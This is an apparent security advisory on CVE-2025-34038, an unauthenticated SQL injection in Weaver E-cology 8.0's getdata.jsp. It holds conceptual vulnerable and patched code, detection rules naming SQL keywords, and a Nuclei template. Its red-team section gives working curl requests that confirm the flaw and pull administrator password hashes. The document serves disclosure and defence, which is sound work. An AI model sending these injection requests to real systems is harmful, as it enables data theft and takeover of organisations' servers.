CVE-2025-34038

Executive Summary

CVE-2025-34038 is a critical unauthenticated SQL injection vulnerability in Weaver E-cology 8.0, specifically within the getdata.jsp endpoint. The application fails to sanitize user input passed via the sql parameter, allowing an attacker to execute arbitrary SQL queries through the getSelectAllIds(sql, type) method, reachable via the cmd=getSelectAllId workflow in the AjaxManager. This vulnerability has a CVSS score of 7.5 (High) and was observed being actively exploited in the wild by the Shadowserver Foundation on 2025-02-05. The impact is severe, as an unauthenticated attacker can extract sensitive data, including administrator password hashes, leading to full system compromise.

Supply Chain & Package Security

This vulnerability affects Weaver E-cology, a proprietary enterprise OA (Office Automation) platform. There is no open-source package (NPM, PyPI, Go, Ruby) associated with this product. The risk is limited to organizations using the affected version of the software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete information disclosure.
• Integrity (I): None (N) - No data modification possible.
• Availability (A): None (N) - No denial of service.

CVSS Score: 7.5 (High) Threat Level: Critical due to active exploitation and ease of attack.

Deep Dive & Mechanics

The vulnerability resides in the getdata.jsp page of Weaver E-cology 8.0. The application exposes an AjaxManager workflow that processes requests with the cmd=getSelectAllId parameter. This workflow calls the getSelectAllIds(sql, type) method, which directly concatenates the user-supplied sql parameter into a database query without any sanitization or parameterization.

The vulnerable code path is:

1. An HTTP GET request is sent to /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=[INJECTION].
2. The sql parameter value is extracted and passed to getSelectAllIds().
3. The method constructs a SQL query by directly embedding the user input, e.g., SELECT * FROM table WHERE id IN ( [USER_INPUT] ).
4. The query is executed against the database, allowing the attacker to inject arbitrary SQL commands.

The provided Nuclei template demonstrates a proof-of-concept by injecting select 547653*865674 as id, which returns the computed value 474088963122 in the response body, confirming the injection point.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// getdata.jsp (Vulnerable)
String sql = request.getParameter("sql");
String cmd = request.getParameter("cmd");
if ("getSelectAllId".equals(cmd)) {
    String result = getSelectAllIds(sql, "type");
    out.print(result);
}

public String getSelectAllIds(String sql, String type) {
    // Direct concatenation - VULNERABLE
    String query = "SELECT id FROM some_table WHERE condition = '" + sql + "'";
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(query);
    // ... process results
}

Patched Code (Conceptual):

// getdata.jsp (Patched)
String sql = request.getParameter("sql");
String cmd = request.getParameter("cmd");
if ("getSelectAllId".equals(cmd)) {
    // Input validation and sanitization
    if (isValidSQL(sql)) {
        String result = getSelectAllIdsSafe(sql, "type");
        out.print(result);
    } else {
        out.print("Invalid input");
    }
}

public String getSelectAllIdsSafe(String sql, String type) {
    // Use parameterized query - SAFE
    String query = "SELECT id FROM some_table WHERE condition = ?";
    PreparedStatement pstmt = connection.prepareStatement(query);
    pstmt.setString(1, sql);
    ResultSet rs = pstmt.executeQuery();
    // ... process results
}

The patched version should use prepared statements (parameterized queries) and implement strict input validation to reject any SQL keywords or special characters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Weaver E-cology 8.0 in an isolated environment.
2. Use a tool like Burp Suite or curl to send requests.

Exploitation Steps:

1. Verify Vulnerability:

   curl -v "http://target.com/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id"
   

   Expected response body contains 474088963122.

2. Extract Admin Password Hash:

   -- Assuming a table named 'HrmResource' with columns 'loginid' and 'password'
   curl "http://target.com/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+loginid+from+HrmResource+union+select+password+from+HrmResource"
   

3. Blind SQL Injection (if needed): Use time-based or boolean-based techniques to extract data character by character.

Nuclei Template Usage:

nuclei -t CVE-2025-34038.yaml -u http://target.com

Blue Team (Defensive)

Detection:

• Monitor HTTP GET requests to /js/hrm/getdata.jsp with the cmd=getSelectAllId parameter.
• Look for suspicious sql parameter values containing SQL keywords (SELECT, UNION, INSERT, etc.) or mathematical expressions.
• Alert on response bodies containing unexpected numeric values or database error messages.

Hunting:

• Search web server logs for requests to /js/hrm/getdata.jsp with cmd=getSelectAllId.
• Correlate with database query logs for unusual SELECT statements originating from the web application user.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=...
  • Response bodies containing computed values like 474088963122 or database error messages.
  • Outbound database connections from the web server to internal databases with unusual query patterns.

• File IOCs:

  • Modified or suspicious entries in web server access logs.
  • Temporary files created by SQL injection tools (e.g., sqlmap output).

• System IOCs:

  • Unusual database user activity (e.g., queries from the web application user that are not typical).
  • New user accounts or modified administrator passwords.

Detection Engineering

YARA Rule

rule CVE_2025_34038_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-34038 in Weaver E-cology"
        author = "Valters IT"
        date = "2025-02-10"
        reference = "CVE-2025-34038"
    strings:
        $s1 = "/js/hrm/getdata.jsp" ascii wide nocase
        $s2 = "cmd=getSelectAllId" ascii wide nocase
        $s3 = "sql=" ascii wide nocase
        $s4 = "select" ascii wide nocase
        $s5 = "union" ascii wide nocase
        $s6 = "547653*865674" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-34038 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the getdata.jsp endpoint in Weaver E-cology
author: Valters IT
date: 2025-02-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34038
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/js/hrm/getdata.jsp"
            - "cmd=getSelectAllId"
            - "sql="
    keywords:
        - "select"
        - "union"
        - "insert"
        - "drop"
        - "547653*865674"
    condition: selection and keywords
falsepositives:
    - Legitimate administrative queries (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-34038 Weaver E-cology SQL Injection Attempt";
    flow:to_server,established;
    content:"/js/hrm/getdata.jsp"; http_uri;
    content:"cmd=getSelectAllId"; http_uri;
    content:"sql="; http_uri;
    pcre:"/(select|union|insert|drop|547653\*865674)/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-34038;
)

Nuclei Template (Provided)

id: CVE-2025-34038

info:
  name: Fanwei e-cology - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    Fanwei e-cology 8.0 contains a sql injection caused by unsanitized user input in the sql parameter of getdata.jsp, letting unauthenticated attackers execute arbitrary SQL queries and access sensitive data.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially exposing sensitive data including administrator password hashes.
  remediation: |
    Update to the latest version of Fanwei e-cology.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-89
  metadata:
    max-request: 1
    fofa-query: app="泛微-协同办公OA"
  tags: cve,cve2025,ecology,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "474088963122"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect the vulnerable Weaver E-cology server from the network until a patch is applied.
2. Implement WAF rules: Deploy a Web Application Firewall (WAF) rule to block requests containing cmd=getSelectAllId and suspicious sql parameters.
3. Restrict access: Limit access to the /js/hrm/getdata.jsp endpoint to trusted IP addresses only.

Long-term Fix:

1. Apply vendor patch: Contact Weaver for an official patch or upgrade to a non-vulnerable version.
2. Code remediation: Implement parameterized queries (prepared statements) and input validation in the getdata.jsp endpoint.
3. Security hardening: Conduct a full security audit of the application to identify similar vulnerabilities.

Compromise Assessment:

• Review database logs for unauthorized queries.
• Check for new or modified administrator accounts.
• Rotate all passwords and secrets stored in the database.

Valters IT

{/* [Security Hash: 8D5D11D29BCF42623CBEBD4B] */}